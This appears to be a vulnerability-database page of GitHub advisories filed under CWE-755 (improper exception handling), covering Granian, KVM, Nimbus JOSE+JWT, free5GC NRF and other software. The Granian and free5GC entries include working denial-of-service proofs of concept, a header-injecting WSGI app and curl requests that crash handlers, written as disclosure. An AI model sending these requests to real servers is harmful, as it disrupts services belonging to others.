Common Weakness Enumeration

CWE-755

Discouraged

Improper Handling of Exceptional Conditions

Abstraction: Class · Status: Incomplete

The product does not handle or incorrectly handles an exceptional condition.

736 vulnerabilities reference this CWE, most recent first.

GHSA-F5P7-9FR5-8JMJ

Vulnerability from github – Published: 2026-05-06 21:24 – Updated: 2026-05-13 16:41
VLAI
Summary
Granian vulnerable to DoS via WSGI response header panic
Details

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

  • a header name containing a space
  • a header value containing \r\n
  • a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

  • the worker aborts after any of the crash paths
  • subsequent requests fail until the worker is restarted

Impact

  • Worker process denial of service
  • A single bad response kills one worker
  • Application bugs become process crashes instead of request-scoped failures
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "granian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:24:56Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGranian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses `.unwrap()` on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.\n\nThis issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian\u0027s request path. The security impact is that application mistakes which should result in a `500` instead kill the worker process.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42\n\nIf either conversion fails, `.unwrap()` panics. In release builds Granian uses `panic = \"abort\"`, so the panic terminates the worker.\n\n\n#### Preconditions\n\nThe attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.\n\nExamples include:\n\n- a header name containing a space\n- a header value containing `\\r\\n`\n- a header value containing a null byte\n\nThese are realistic failure modes for applications that reflect user-controlled data into headers such as `Location`, `Content Disposition`, or custom response headers.\n\n### PoC\n\n#### Step 1\n\nstart Granian with the PoC WSGI app\n\n```python\n# app.py\ndef app(environ, start_response):\n    path = environ.get(\"PATH_INFO\", \"/\")\n    if path == \"/crash-name\":\n        headers = [(\"X Bad Name\", \"value\")]\n    elif path == \"/crash-value\":\n        headers = [(\"Content-Type\", \"text/html\\r\\nX-Injected: evil\")]\n    elif path == \"/crash-null\":\n        headers = [(\"X-Custom\", \"value\\x00end\")]\n    else:\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [b\"OK - server alive\\n\"]\n\n    start_response(\"200 OK\", headers)\n    return [b\"This response kills the worker\\n\"]\n\n```\n\n```bash\ngranian --interface wsgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2\n\ntrigger the crash (any one of these is sufficient)\n\n```bash\ncurl http://127.0.0.1:8000/crash-name\ncurl http://127.0.0.1:8000/crash-value\ncurl http://127.0.0.1:8000/crash-null\n```\n\n\nExpected result:\n\n- the worker aborts after any of the crash paths\n- subsequent requests fail until the worker is restarted\n\n\n### Impact\n\n- Worker process denial of service\n- A single bad response kills one worker\n- Application bugs become process crashes instead of request-scoped failures",
  "id": "GHSA-f5p7-9fr5-8jmj",
  "modified": "2026-05-13T16:41:31Z",
  "published": "2026-05-06T21:24:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42545"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmett-framework/granian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Granian vulnerable to DoS via WSGI response header panic"
}

GHSA-F67C-8M2W-79HM

Vulnerability from github – Published: 2023-11-06 12:30 – Updated: 2024-09-11 12:30
VLAI
Details

A flaw was found in KVM. An improper check in svm_set_x2apic_msr_interception() may allow direct access to host x2apic msrs when the guest resets its apic, potentially leading to a denial of service condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-06T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in KVM. An improper check in svm_set_x2apic_msr_interception() may allow direct access to host x2apic msrs when the guest resets its apic, potentially leading to a denial of service condition.",
  "id": "GHSA-f67c-8m2w-79hm",
  "modified": "2024-09-11T12:30:51Z",
  "published": "2023-11-06T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5090"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2758"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3854"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3855"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4211"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4352"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-5090"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2248122"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6VF-PQ8C-69M4

Vulnerability from github – Published: 2019-10-16 18:31 – Updated: 2022-02-08 22:07
VLAI
Summary
Improper Check for Unusual or Exceptional Conditions in Connect2id Nimbus JOSE+JWT
Details

Connect2id Nimbus JOSE+JWT before v7.9 can throw various uncaught exceptions while parsing a JWT, which could result in an application crash (potential information disclosure) or a potential authentication bypass.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.nimbusds:nimbus-jose-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-17195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-10-16T15:26:53Z",
    "nvd_published_at": "2019-10-15T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Connect2id Nimbus JOSE+JWT before v7.9 can throw various uncaught exceptions while parsing a JWT, which could result in an application crash (potential information disclosure) or a potential authentication bypass.",
  "id": "GHSA-f6vf-pq8c-69m4",
  "modified": "2022-02-08T22:07:38Z",
  "published": "2019-10-16T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17195"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcac26c2d4df22341fa6ebbfe93ba1eff77d2dcd3f6106a1dc1f9ac98@%3Cdev.avro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5e08837e695efd36be73510ce58ec05785dbcea077819d8acc2d990d@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r35f6301a3e6a56259224786dd9c2a935ba27ff6b494d15a3b66efe6a@%3Cdev.avro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r33dc233634aedb04fa77db3eb79ea12d15ca4da89fa46a1c585ecb0b@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2667286c8ceffaf893b16829b9612d8f7c4ee6b30362c6c1b583e3c2@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/e10d43984f39327e443e875adcd4a5049193a7c010e81971908caf41@%3Ccommon-issues.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/8768553cda5838f59ee3865cac546e824fa740e82d9dc2a7fc44e80d@%3Ccommon-dev.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://connect2id.com/blog/nimbus-jose-jwt-7-9"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/src/master/SECURITY-CHANGELOG.txt"
    },
    {
      "type": "PACKAGE",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Check for Unusual or Exceptional Conditions in Connect2id Nimbus JOSE+JWT"
}

GHSA-F73X-VRCR-2P7Q

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2022-05-24 16:56
VLAI
Details

A CWE-248: Uncaught Exception vulnerability exists in Modicon M580 (firmware versions prior to V2.90), Modicon M340 (firmware versions prior to V3.10), Modicon Premium (all versions), Modicon Quantum (all versions), which could cause a possible denial of service when reading invalid data from the controller.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-6809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-17T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-248: Uncaught Exception vulnerability exists in Modicon M580 (firmware versions prior to V2.90), Modicon M340 (firmware versions prior to V3.10), Modicon Premium (all versions), Modicon Quantum (all versions), which could cause a possible denial of service when reading invalid data from the controller.",
  "id": "GHSA-f73x-vrcr-2p7q",
  "modified": "2022-05-24T16:56:23Z",
  "published": "2022-05-24T16:56:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6809"
    },
    {
      "type": "WEB",
      "url": "https://www.schneider-electric.com/en/download/document/SEVD-2019-134-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F79V-V4V7-4GJW

Vulnerability from github – Published: 2022-07-19 00:00 – Updated: 2022-07-27 00:00
VLAI
Details

RISCV ISA Sim commit ac466a21df442c59962589ba296c702631e041b5 implements the incorrect exception priotrity when accessing memory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-34643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-18T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "RISCV ISA Sim commit ac466a21df442c59962589ba296c702631e041b5 implements the incorrect exception priotrity when accessing memory.",
  "id": "GHSA-f79v-v4v7-4gjw",
  "modified": "2022-07-27T00:00:34Z",
  "published": "2022-07-19T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34643"
    },
    {
      "type": "WEB",
      "url": "https://github.com/riscv-software-src/riscv-isa-sim/issues/971"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F8QV-7X5W-QR48

Vulnerability from github – Published: 2026-05-08 22:56 – Updated: 2026-06-08 23:48
VLAI
Summary
free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types
Details

Summary

free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.

Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.

Details

Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000

Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/api_accesstoken.go:52 - NFs/nrf/internal/sbi/api_accesstoken.go:87 - NFs/nrf/internal/sbi/api_accesstoken.go:98 - NFs/nrf/internal/sbi/api_accesstoken.go:100 - NFs/nrf/internal/sbi/api_accesstoken.go:112

The model definition lives in free5gc/openapi: - models/model_nrf_access_token_access_token_req.go:27 - models/model_nrf_access_token_access_token_req.go:29 - models/model_nrf_access_token_access_token_req.go:30 - models/model_nrf_access_token_access_token_req.go:31

The parser's effective shape is: parse value as *models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (*models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.

Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning *models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning *models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning *models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning *models.PlmnId to *models.PlmnIdNid - targetSnssaiList -> panic assigning *models.PlmnId to []models.Snssai - targetNsiList -> panic assigning *models.PlmnId to []string

PoC

Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.

  1. requesterPlmnList -> []models.PlmnId mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
  1. requesterSnssaiList -> []models.Snssai mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
  1. requesterSnpnList -> []models.PlmnIdNid mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
  1. targetSnpn -> *models.PlmnIdNid mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
  1. targetSnssaiList -> []models.Snssai mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
  1. targetNsiList -> []string mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'

Observed response (per request, no body returned):

HTTP/1.1 500 Internal Server Error
Content-Length: 0

NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type:

[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string
INFO][NRF][GIN] | 500 | POST | /oauth2/token |

Impact

Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).

This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.

What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.

No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-755",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:56:03Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nfree5GC\u0027s NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field\u0027s real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.\n\nNote: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.\n\n### Details\nValidated against the NRF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nrf:v4.2.1`\n- Docker validation date: 2026-03-22\n- NRF endpoint: `http://10.100.200.3:8000`\n\nRoot cause is in the access-token request parser:\n- `NFs/nrf/internal/sbi/api_accesstoken.go:52`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:87`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:98`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:100`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:112`\n\nThe model definition lives in `free5gc/openapi`:\n- `models/model_nrf_access_token_access_token_req.go:27`\n- `models/model_nrf_access_token_access_token_req.go:29`\n- `models/model_nrf_access_token_access_token_req.go:30`\n- `models/model_nrf_access_token_access_token_req.go:31`\n\nThe parser\u0027s effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error.\n\nConfirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):\n- `requesterPlmnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnId`\n- `requesterSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `requesterSnpnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnIdNid`\n- `targetSnpn` -\u003e panic assigning `*models.PlmnId` to `*models.PlmnIdNid`\n- `targetSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `targetNsiList` -\u003e panic assigning `*models.PlmnId` to `[]string`\n\n### PoC\nReproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler.\n\n1. `requesterPlmnList` -\u003e `[]models.PlmnId` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterPlmnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n2. `requesterSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n3. `requesterSnpnList` -\u003e `[]models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnpnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n4. `targetSnpn` -\u003e `*models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnpn={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n5. `targetSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n6. `targetNsiList` -\u003e `[]string` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetNsiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\nObserved response (per request, no body returned):\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\nNRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type:\n```\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string\nINFO][NRF][GIN] | 500 | POST | /oauth2/token |\n```\n\n### Impact\nType-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).\n\nThis is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.\n\nWhat the bug realistically gives an off-path attacker:\n- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.\n- Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time.\n- A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.\n- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history.\n\nNo Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/918\nUpstream fix: https://github.com/free5gc/nrf/pull/83",
  "id": "GHSA-f8qv-7x5w-qr48",
  "modified": "2026-06-08T23:48:13Z",
  "published": "2026-05-08T22:56:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-f8qv-7x5w-qr48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/pull/83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/commit/f7bc77daa7425506af7569f2e61c2a210f5a0423"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types"
}

GHSA-F92H-3C3J-GGHQ

Vulnerability from github – Published: 2023-01-03 21:30 – Updated: 2023-01-10 06:30
VLAI
Details

In Wi-Fi driver, there is a possible undefined behavior due to incorrect error handling. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: GN20220705066; Issue ID: GN20220705066.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-03T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Wi-Fi driver, there is a possible undefined behavior due to incorrect error handling. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: GN20220705066; Issue ID: GN20220705066.",
  "id": "GHSA-f92h-3c3j-gghq",
  "modified": "2023-01-10T06:30:26Z",
  "published": "2023-01-03T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32659"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/January-2023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F972-WG3C-28J6

Vulnerability from github – Published: 2026-09-15 15:32 – Updated: 2026-09-15 15:32
VLAI
Details

